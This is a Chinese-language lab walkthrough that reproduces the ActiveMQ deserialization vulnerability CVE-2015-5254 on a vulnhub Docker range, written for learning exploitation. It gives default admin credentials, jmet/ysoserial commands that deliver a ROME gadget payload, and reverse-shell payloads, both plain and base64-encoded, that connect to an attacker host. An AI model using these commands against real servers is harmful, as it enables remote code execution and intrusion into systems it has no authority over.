利用vulnhub搭建漏洞靶场
service docker start
docker-compose up -d
查看开启的端口号
docker-compose ps
开启了8161和61616端口,其中61616是工作端口,消息在这个端口进行传递; 8161是网络管理页面端口访问http://target_ip:8186即可看到网络管理页面。
访问http://target_ip:8186/admin/
默认用户名密码(admin/admin)
构造(可以使用ysoserial)可执行命令的序列化对象
作为一个消息,发送给目标61616端口
访问web管理页面,读取消息,触发漏洞
首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。
jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME target_ip 61616
此时会给目标ActiveMQ添加一个名为event的队列,我们可以通过http://taget_ip:8161/admin/browse.jsp?JMSDestination=event
看到这个队列中所有消息
点击查看这条消息即可触发命令执行
此时进入容器,可见/tmp/success已成功创建,说明漏洞利用成功
docker-compose exec activemq bash
cd /tmp/
ls
构造payload反弹shell,但用这种payload是无法接收到shell的
bash -i >& /dev/tcp/attack_ip/port 0>&1 #反弹shell
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/attack_ip/port 0>&1" -Yp ROME target_ip 61616
所以使用base64编码绕过java的机制
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,payload的base64编码}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.89.129 61616
在攻击机上监听端口,之后http://taget_ip:8161/admin/browse.jsp?JMSDestination=event
中点击访问后成功反弹shell
ActiveMq反序列化漏洞复现 CVE-2015-5254
原文:https://www.cnblogs.com/-Anguvia-/p/14601084.html